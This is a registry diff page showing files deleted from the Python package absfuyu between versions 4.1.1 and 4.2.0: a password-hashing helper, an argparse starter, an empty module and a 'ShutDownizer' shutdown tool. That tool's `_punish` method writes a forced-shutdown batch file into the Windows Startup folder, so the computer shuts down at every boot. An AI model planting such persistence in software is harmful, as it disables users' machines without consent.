absfuyu 4.1.1__py3-none-any.whl → 4.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of absfuyu might be problematic. Click here for more details.

@@ -1,80 +0,0 @@
1
- # type: ignore
2
- # flake8: noqa
3
-
4
- # Library
5
- ##############################################################
6
- import hashlib as __hash
7
- import os as __os
8
- from typing import Dict as __Dict
9
- from typing import NewType as __NewType
10
- from typing import TypeVar as __TypeVar
11
- from typing import Union as __Union
12
-
13
- # Define type
14
- ##############################################################
15
- Password = __NewType("Password", str)
16
- Salt = __NewType("Salt", str)
17
- Key = __NewType("Key", str)
18
- Salt_V = __NewType("Salt_V", bytes)
19
- Key_V = __NewType("Key_V", bytes)
20
- Combo = __Dict[__Union[Salt, Key], __Union[Salt_V, Key_V]]
21
-
22
-
23
- # Function
24
- ##############################################################
25
- def password_hash(password: Password) -> Combo:
26
- """
27
- Generate hash for password
28
- """
29
- salt = __os.urandom(32)
30
- key = __hash.pbkdf2_hmac(
31
- hash_name="sha256",
32
- password=password.encode("utf-8"),
33
- salt=salt,
34
- iterations=100000,
35
- )
36
- out = {
37
- "salt": salt,
38
- "key": key,
39
- }
40
- return out
41
-
42
-
43
- def password_hash_check(
44
- password: Password,
45
- combo: Combo,
46
- ) -> bool:
47
- """
48
- Compare hashes between 2 passwords
49
- """
50
- if "salt" in combo and "key" in combo:
51
- salt = combo["salt"]
52
- compare_key = combo["key"]
53
- else:
54
- return None
55
-
56
- key = __hash.pbkdf2_hmac(
57
- hash_name="sha256",
58
- password=password.encode("utf-8"),
59
- salt=salt,
60
- iterations=100000,
61
- )
62
-
63
- if key == compare_key:
64
- return True
65
- else:
66
- return False
67
-
68
-
69
- def tj():
70
- import json
71
-
72
- combo = password_hash("lmao")
73
- for k, v in combo.items():
74
- combo[k] = str(v)
75
- j = json.dumps(combo, indent=4)
76
- return j
77
-
78
-
79
- if __name__ == "__main__":
80
- print(tj())
@@ -1,60 +0,0 @@
1
- # type: ignore
2
- # flake8: noqa
3
-
4
- """
5
- Absfuyu: Project starter
6
- ------------------------
7
-
8
- Version: 1.0.0dev1
9
- Date updated: 01/12/2023 (dd/mm/yyyy)
10
- """
11
-
12
- # Module level
13
- ###########################################################################
14
- __all__ = ["get_parser"]
15
-
16
-
17
- # Library
18
- ###########################################################################
19
- from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser
20
- from typing import Optional
21
-
22
-
23
- # Function
24
- ###########################################################################
25
- def get_parser(
26
- name: Optional[str] = None,
27
- description: Optional[str] = None,
28
- epilog: Optional[str] = None,
29
- *,
30
- version: str = "",
31
- add_help: bool = True,
32
- ) -> ArgumentParser:
33
- arg_parser = ArgumentParser(
34
- prog=name,
35
- description=description,
36
- epilog=epilog,
37
- add_help=add_help,
38
- formatter_class=ArgumentDefaultsHelpFormatter,
39
- # allow_abbrev=False, # Disable long options recognize
40
- # exit_on_error=True
41
- )
42
- arg_parser.add_argument(
43
- "--version", action="version", version=f"%(prog)s {version}"
44
- )
45
- _ll_val = ["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"]
46
- arg_parser.add_argument(
47
- "--log-level",
48
- metavar="LOG_LEVEL",
49
- dest="log_level",
50
- choices=_ll_val,
51
- default="INFO",
52
- help=f"Log level: {_ll_val}",
53
- )
54
- return arg_parser
55
-
56
-
57
- # Run
58
- ###########################################################################
59
- if __name__ == "__main__":
60
- pass
@@ -1,156 +0,0 @@
1
- # type: ignore
2
- # flake8: noqa
3
-
4
- """
5
- Absfuyu: Shutdownizer
6
- ---------------------
7
- This shutdowns
8
-
9
- Version: 1.0.0dev
10
- Date updated: 27/11/2023 (dd/mm/yyyy)
11
- """
12
-
13
- # Module level
14
- ###########################################################################
15
- __all__ = ["ShutDownizer"]
16
-
17
-
18
- # Library
19
- ###########################################################################
20
- import datetime
21
- import os
22
- import random
23
- import subprocess
24
- import sys
25
- from pathlib import Path
26
-
27
- from absfuyu.logger import LogLevel, logger
28
-
29
-
30
- # Class
31
- ###########################################################################
32
- class Dummy:
33
- def __init__(self) -> None:
34
- pass
35
-
36
- def __str__(self) -> str:
37
- return f"{self.__class__.__name__}()"
38
-
39
- def __repr__(self) -> str:
40
- return self.__str__()
41
-
42
-
43
- class ShutDownizer(Dummy):
44
- """
45
- ShutDownizer
46
-
47
- Shutdown tool because why not
48
- """
49
-
50
- def __init__(self) -> None:
51
- """doc_string"""
52
- self.os: str = sys.platform
53
- logger.debug(f"Current OS: {self.os}")
54
-
55
- if self.os in ["win32", "cygwin"]: # Windows
56
- self.engine = ShutDownizerWin()
57
- elif self.os == "darwin": # MacOS
58
- self.engine = ShutDownizerMac()
59
- elif self.os == "linux": # Linux
60
- self.engine = ShutDownizerLinux()
61
- else: # Other (probably linux)
62
- self.engine = ShutDownizerLinux()
63
-
64
- def __str__(self) -> str:
65
- return f"{self.__class__.__name__}({self.os})"
66
-
67
- def shutdown(self):
68
- """Shutdown"""
69
- self.engine.shutdown()
70
-
71
- def restart(self):
72
- """Restart"""
73
- self.engine.restart()
74
-
75
- def cancel(self):
76
- """Cancel"""
77
- self.engine.cancel()
78
-
79
-
80
- class ShutDownizerEngine(Dummy):
81
- """
82
- Abstract class for different type of OS
83
- """
84
-
85
- def __init__(self) -> None:
86
- self.shutdown_cmd = ""
87
- self.restart_cmd = ""
88
- self.cancel_cmd = ""
89
-
90
- def _excute_cmd(self, cmd) -> None:
91
- """Execute the cmd"""
92
- try:
93
- if isinstance(cmd, str):
94
- subprocess.run(cmd.split())
95
- elif isinstance(cmd, list):
96
- subprocess.run(cmd)
97
- else:
98
- logger.error(f'"{cmd}" failed to run')
99
- except:
100
- logger.error(f'"{cmd}" failed to run')
101
-
102
- def shutdown(self):
103
- """Shutdown"""
104
- try:
105
- self._excute_cmd(self.shutdown_cmd)
106
- except:
107
- pass
108
-
109
- def restart(self):
110
- """Restart"""
111
- self._excute_cmd(self.restart_cmd)
112
-
113
- def cancel(self):
114
- """Cancel shutdown/restart"""
115
- self._excute_cmd(self.cancel_cmd)
116
-
117
-
118
- class ShutDownizerWin(ShutDownizerEngine):
119
- """ShutDownizer - Windows"""
120
-
121
- def __init__(self) -> None:
122
- self.shutdown_cmd = "shutdown -f -s -t 0"
123
- self.cancel_cmd = "shutdown -a"
124
-
125
- def _punish(self):
126
- """Create a `batch` script that shut down computer when boot up"""
127
- try:
128
- startup_folder_win = Path(os.getenv("appdata")).joinpath(
129
- "Microsoft", "Windows", "Start Menu", "Programs", "Startup"
130
- )
131
- with open(startup_folder_win.joinpath("system.bat"), "w") as f:
132
- f.write(self.shutdown_cmd)
133
- except:
134
- logger.error("Cannot write file to startup folder")
135
-
136
-
137
- class ShutDownizerMac(ShutDownizerEngine):
138
- """ShutDownizer - MacOS"""
139
-
140
- def __init__(self) -> None:
141
- self.shutdown_cmd = ["osascript", "-e", 'tell app "System Events" to shut down']
142
-
143
-
144
- class ShutDownizerLinux(ShutDownizerEngine):
145
- """ShutDownizer - Linux"""
146
-
147
- def __init__(self) -> None:
148
- self.shutdown_cmd = "shutdown -h now"
149
-
150
-
151
- # Run
152
- ###########################################################################
153
- if __name__ == "__main__":
154
- logger.setLevel(LogLevel.DEBUG)
155
- test = ShutDownizer()
156
- print(ShutDownizerLinux().shutdown())
@@ -1,24 +0,0 @@
1
- """
2
- Absfuyu: Extra
3
- --------------
4
- Extra feature that require additional libraries
5
-
6
- Version: 1.0.1
7
- Date updated: 24/11/2023 (dd/mm/yyyy)
8
- """
9
-
10
- # Module level
11
- ###########################################################################
12
-
13
-
14
- # Library
15
- ###########################################################################
16
-
17
-
18
- # Function
19
- ###########################################################################
20
-
21
- # Run
22
- ###########################################################################
23
- if __name__ == "__main__":
24
- pass